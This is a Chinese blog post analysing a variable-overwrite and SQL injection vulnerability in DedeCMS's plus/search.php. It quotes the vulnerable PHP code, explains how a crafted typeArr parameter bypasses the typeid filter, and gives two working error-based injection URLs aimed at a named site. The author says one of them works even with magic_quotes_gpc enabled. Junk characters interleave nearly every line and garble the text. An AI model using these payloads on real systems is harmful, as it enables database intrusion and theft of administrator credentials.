微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
2 ^9 F! B' G) V7 U$ y4 t作者: c4rp3nt3r@0x50sec.org' q# q0 {1 D. [! G! g7 ]. T
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.2 K6 C' J* S: d; b$ n* N8 _( Z$ ~5 I& R9 ]
9 m; J; K7 `/ F3 q; @# F
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.* ~3 k0 N0 T+ F3 K3 A7 \
& ]5 k, Y9 |- i============
/ g; O6 S0 N. K) [# R9 g
$ W* M7 K6 ^3 C, D0 o
) z$ w7 D6 o$ k% u8 L& `5 ^Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.+ {' q* k# ^' p! U5 y" D1 T
1 d- M3 V+ b; e/ m4 Hrequire_once(dirname(__FILE__).”/../include/common.inc.php”);7 E- ^2 y( |/ m; ]
require_once(DEDEINC.”/arc.searchview.class.php”);; F; T* |; X' y
6 \ @5 _1 Z; e: S$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
, ?) B7 B( o! W! A2 g2 B+ i$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
9 j+ Q, q6 y3 S. H$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;2 O, M# B" y" \ R% F
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
, Q5 k" X* B; ?8 u8 a/ Y u3 D4 p4 A$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;. g0 |# H1 X2 i5 K/ {
1 G7 Q0 B9 P: ^if(!isset($orderby)) $orderby=”;5 p# ~9 k* s3 I# r% {% ^+ ?4 T: N
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
; b: U; J0 T9 u; {# q ' `7 h& M# D; _: f3 ~+ h
4 G( G0 ^% H3 ^# ~$ s* ]if(!isset($searchtype)) $searchtype = ‘titlekeyword’;( l- U0 ^# Z, e" w" r3 A4 L
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
4 K/ }' M) F* S: z
% V X' H7 i ?3 R* ~& e2 }3 Uif(!isset($keyword)){
% d. R/ s0 o# F6 j4 [ if(!isset($q)) $q = ”;
l" I: |" j6 F& ~+ _" }2 @ $keyword=$q; B: U$ U5 K( m+ V: p, g
}/ K! \% T$ R3 Z
9 Z7 x6 a- d- V: V3 t
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));1 F8 L1 c$ i& ?9 a. J
6 `6 A8 j4 Y/ B//查找栏目信息6 J5 r, F; c5 R( X2 h6 S
if(empty($typeid))1 E x9 ?7 ~7 a- ]: j/ s! K
{
' b4 x1 F0 l) B2 c $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;, I4 c! V S! f" k9 [. Z
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
9 I0 @1 ?: @+ z; ^3 C2 ~ {
8 H! X1 j) |# l$ w8 a& N0 M$ ~, c $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
- R' Q5 {# G0 r2 O6 }$ ]% N fwrite($fp, “<”.”?php\r\n”);
9 c, M* o( N; x $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
* J3 G! ^$ V- b" n4 |# S $dsql->Execute();6 R4 Z6 ]. n, c) P$ ~
while($row = $dsql->GetArray())
! J& U0 S" | Z8 v |7 w1 c/ X { u! r7 A$ @9 `+ Z4 z0 p$ `9 Q4 t* D
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
# U1 ^; d9 j0 c" Z4 C) y ~& g }% C! U; T! O: B, G8 B: }' i
fwrite($fp, ‘?’.'>’);% ~$ O. u& S) ?4 x' L' x( l
fclose($fp);
. O! ]" o) Y- P" {: @5 s C }! a% S9 u( m2 v7 l
//引入栏目缓存并看关键字是否有相关栏目内容1 p& I" n$ m0 `5 c, X
require_once($typenameCacheFile);9 @1 K0 y) Z5 @: B5 ]8 J
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
" j# E& j6 }/ e. U, O7 a- R//
4 o1 q, v+ Y% f/ D* t if(isset($typeArr) && is_array($typeArr))
, s" g9 ^) M& C' } {5 r7 A" Y; O# d
foreach($typeArr as $id=>$typename): s; B' j4 o5 K9 n
{
0 @( s$ A7 X- R+ S3 k& r. N9 G% R 6 O8 K1 K- V1 R
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过9 h4 c2 s' K O" g, t% B
if($keyword != $keywordn)
. z4 m- N% K: ?6 u2 w# q9 b) \# Q- P {
1 q+ O! o/ ?" Y5 i $keyword = $keywordn;
+ r1 z! |3 s# c8 j! [2 g8 U! s <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
9 w# o5 D4 m. {% ?: L$ |5 { break;
- b7 L% I( ^4 j) k. c/ N3 | }
9 W0 K. K% B; z }# |4 k+ T/ E% n9 u+ @
}% Q( R/ C, j/ b& o* v+ T
}
2 a5 \) f7 y- y+ o# n$ N G% \然后plus/search.php文件下面定义了一个 Search类的对象 .6 Y2 P) `) V) k/ n% e5 s
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类./ o5 @, Z/ S/ U$ X7 M# [* Z+ Q* |1 L
$this->TypeLink = new TypeLink($typeid);- e; `2 r9 @% H T: n0 x s' h
% t) t0 k5 @& x. I
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
! d f1 V7 _" Y: W3 T6 x$ Y8 n # }" T4 n u+ y' p. Q, Z4 O
class TypeLink
. x0 W( {8 D; W* ]/ l. R. w{- o4 \( ]1 O) G( u5 z
var $typeDir;
& X$ b! f5 l7 g9 X" q/ s5 L var $dsql;. D" b/ k9 m. T% G( f4 E
var $TypeID;. \" g1 z* i. ^- `: m i
var $baseDir;
2 d7 }! B! V* V) U: I: N var $modDir;) P4 u2 L" C/ F' G
var $indexUrl;( p3 i0 P- p9 _
var $indexName;* ?9 h6 W1 _& E' E
var $TypeInfos;
% z- z, { H9 \9 H6 N var $SplitSymbol;
. `5 X. c; W9 l; A3 X, w, |9 q var $valuePosition;* H# D) s& J- S2 c
var $valuePositionName;( b6 {' P' k7 H3 a2 R) U4 a
var $OptionArrayList;//构造函数///////
8 d( O, c$ r# v) R8 W/ ^ //php5构造函数0 B8 K$ J1 ]& H/ v( o, R8 P
function __construct($typeid)2 ]4 o- j5 U8 s# G1 ?, P3 N
{9 J7 ]; `: b' p" K: O3 v7 m7 J+ w) G
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
8 b& l; M7 _) p- b3 z$ P $this->indexName = $GLOBALS['cfg_indexname'];3 Y2 a7 G! x1 T, \- W
$this->baseDir = $GLOBALS['cfg_basedir'];, E! S6 U& f6 ^- p
$this->modDir = $GLOBALS['cfg_templets_dir'];- Z% |+ [6 j6 d
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
+ W, m# T! }8 l $this->dsql = $GLOBALS['dsql'];
9 f7 k7 \( ~' M2 U$ y4 W1 u $this->TypeID = $typeid;# @7 K8 C; q2 ?5 k! O! a
$this->valuePosition = ”;
( q% `/ `* i! D# b $this->valuePositionName = ”;& I, v8 _% S) a" p+ N8 T8 F# t: i% H
$this->typeDir = ”;
$ n* z9 S g& k5 R8 x' l# ?# f $this->OptionArrayList = ”;* x! @. V S0 m, ^7 L1 h
! K7 {% q, U- x) K X+ [" z, m3 E //载入类目信息; Q$ O; M* p4 B
2 G3 F( k- r: R: L% g; v <font color=”Red”>$query = “SELECT tp.*,ch.typename as r' R* l4 p* G" }
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join6 ^6 @' Q; y# E
`#@__channeltype` ch
' W Z4 S# h: W. `0 {; ~ on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
1 ^$ A( k( m7 N3 Z) u6 ] # y ?* J" Y6 M! Z' g# N1 f
if($typeid > 0)
' i+ u) c; z$ O4 L8 { {1 C+ @% d5 _# }
$this->TypeInfos = $this->dsql->GetOne($query);+ h: ?) a6 C/ e3 ^" c9 Y/ |4 G
利用代码一 需要 即使magic_quotes_gpc = Off' w' A6 h3 x9 y* c! \2 s* |$ x' {
" j& t& @# T, y8 H5 A
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title7 V O: ?7 H- B F7 I# j4 O/ H+ J
$ L' g# b/ Y0 N! f" @' p; W
这只是其中一个利用代码… Search 类的构造函数再往下! y* F2 p& x Y& w! j6 W- o
0 j, W- h0 e' {# ~% p. K+ G( ?/ S……省略" P/ h1 u, w, b ]- s& `
$this->TypeID = $typeid;
9 w" i$ A; I6 q* v% \3 Q……省略2 T, @% Q, ^) s' N
if($this->TypeID==”0″){
' ~. }; T$ `$ C2 o& ?9 i $this->ChannelTypeid=1;
* Z! Q6 T4 A8 u$ }7 |0 y ~5 Z }else{$ [! ?" [7 Y8 X n% s" M* a
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
[- P% L6 [% i ]. ~//现在不鸡肋了吧亲…' D6 k; b. ^! p/ R \
$this->ChannelTypeid=$row['channeltype'];- N W B' G1 T2 S6 g. o/ w' l6 V
2 k( z; B g+ v
}+ k; W; D- b$ d6 A0 b, R4 \
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.- F/ G5 G4 T) u7 `
* t6 x- `( @" \# Uwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title+ q7 L" r) v2 L- S. F0 P7 y/ D1 Y
% X1 S. F1 ]( u4 B, h
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
7 l8 o- x# D* g' R" g |